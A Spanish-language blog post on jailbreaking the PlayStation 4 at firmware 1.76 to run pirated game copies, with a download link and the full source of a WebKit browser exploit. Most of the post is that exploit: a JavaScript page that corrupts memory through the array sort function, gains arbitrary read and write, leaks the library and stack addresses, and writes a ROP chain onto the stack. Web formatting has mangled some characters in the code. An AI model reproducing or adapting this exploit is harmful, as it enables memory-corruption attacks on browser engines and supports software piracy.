Archivo de la etiqueta: PS4 Hack

Como Hackear mi PlayStation 4 (PS4 Hack)

Sí, lo han logrado ejecutar copias piratas de juegos en la PlayStation 4 (PS4), a través de un exploit llamado Webkit firmware 1.76. Esto lo han logrado a traves del explorador de internet del Playstation 4 o PS4. En cuanto salga un exploit para el firmware 2.57 de PS4, o el último firmware, de seguro lo descarga en este mismo artículo.

Aqui les dejo el FirmWare 1.76 TestKit de la Playstation 4 (PS4), y el FirmWare 1.76 DevKit, ademas de la Actualizacion del Controlador .

Los archivos dicen en la página que están en :

http://wololo.net/downloads/index.php/download/8230

Pero como han de saber, al parecer de tanto trafico que obtuvo, el sitio cayo.  Y aunque dicen que pueden bajarlo desde ahi, ya no esta disponible por problemas de performance.

He logrado encontrar los archivos necesarios para lograr este hack, y los he subido para descargar en este link propio que si funciona : ps4_176_poc .

h1b

 

Su versión del firmware deberá ser la 1.76.

Les recuerdo, que modificar su PS4 en este caso, inválida su garantía.  Dicho esto, les dejo el código fuente de un dump o backup para hackear y/o ejecutar el exploit en la PlayStation 4 (PS4). Solo en caso de alguno de ustedes entienda algo de lo que dice!

Y no garantizo que funcione, eso se los dejo a aquellos aventureros que quieran probar con su ps4.

 

<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src=”inc/utils.js”></script>
<script src=”inc/jquery.js”></script>
<script type=”text/javascript”>

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd(“myCompFunc(u32,3)”);
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method – JSArray.sort(…)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd(“a2.length = 0x” + len.toString(16));
if (len == a2len) { logAdd(“error: 1”); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd(“myCompFunc(1,0)”);
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd(“myCompFunc(x,3)”);
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd(“a2.length = 0x” + c.toString(16));
if (c != len + 0x18) { logAdd(“error: 2”); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function(“arg”, ” return 876543210 + ” + (_cnt++) + “;”);
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i–) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo’s property storage right after a3’s buffer
Object.defineProperty(mo, “prop0”, pd);
for(var i=1; i < 5; i++){
mo[“prop”+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd(“myCompFunc(a3[3],2)”);
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32;     // GetterSetter.m_structure
u32.prop2 = 8;         // 8 = JSType.GetterSetterType
u32.prop1 = a1[3];  // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);

// check results: u32.length is taken from f’s internals now
//logAdd(“u32.length = 0x” + u32.length.toString(16));
if (u32.length == u32len) { logAdd(“error: 3”); return 3; }

//
//  Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs]   = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd(“u32 address = 0x” + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd(“u32 base = 0x” + u32base.toString(16));

// on x64 platforms we can’t just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32’s buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near “f”
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i – 6;
f2old = getU64(f2offs);
break;
}
}
logAdd(“f2offs = 0x” + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, “prop0”, pd);

u32base = addr;
//logAdd(“u32 new base = 0x” + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr – u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr – u32base) >>> 2, val);
}

//logAdd(“u32 size: 0x” + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd(“verify base: 0x”+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I’m using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) =  modules table
// If this crashes, try it 2-4 more times. It usually will work

// target addr for the rop chain

var chain_addr = u32base0 + 0x80000;
var chain_data = u32base0 + 0x88000;

// xx will be the base address of WebKit2

xx = (getU64from(xx+0x20)-0x30bf0);
var wk_base = xx;
logAdd(“WebKit2 base address = 0x” + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);

xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000

//logAdd(“Dump Address is 0x” + xx.toString(16));

setBase(xx);

//get libSceLibcinternal base
//var libc_int_base = getU64from(xx+0xf98); //1.71
var libc_int_base = getU64from(xx+0x1628); //1.71

//get libkernel base
//xx = getU64from(xx+0xdd8); //1.71
xx = getU64from(xx+0x1468); //1.76
var libkernel_base = xx;

setBase(xx);

//get stack base
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
xx = getU64from(xx+0x5B278); //1.76 webprocess stack
//yy = getU64from(xx+0x5AA70); //1.71
var stack_base = xx – 0x4000;
//yy = getU64from(xx+0x5AA70);

logAdd(“libkernel Base is 0x” + libkernel_base.toString(16));
logAdd(“libSceLibcinternal Base is 0x” + libc_int_base.toString(16));
logAdd(“Stack Base is 0x” + stack_base.toString(16));
logAdd(“Chain Address is 0x” + chain_addr.toString(16));

//var return_va = 0x2b38; //1.71
var return_va = 0x2b38; //1.76
//var old_va = getU64from(return_va);
//var old_va8 = getU64from(return_va+8);

// ***************** ROP START *********************

// store data
// none
// store ROP chain
setU64to(chain_addr + 0, wk_base + 735703);
// point a return address of the stack to our chain
setU64to(stack_base + return_va + 8, chain_addr);
setU64to(stack_base + return_va, wk_base + 392117);

// ***************** ROP END ***********************

// cleanup

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

}
catch(e) {
logAdd(e);
}

return 0;
}

// “Start” button onclick handler
function btnClick()
{
try {
logAdd(“======== Start ========”);

// check OS version
//if (navigator.platform != “MacIntel”) { logAdd(“<font color=red>This works for Mac OS X only!</>”); return; }

// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd(“<br/>Attempt #” + i + “:”);
if (tryExplMac64(i) == 0) break;
}

logAdd(“<br/>========&nbsp;End &nbsp;========<br/><br/>”);
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style=”width:100px;” onclick=”btnClick();”>Start</button>
<br/><br/>
<div id=”log”></div><br>
</body>
</html>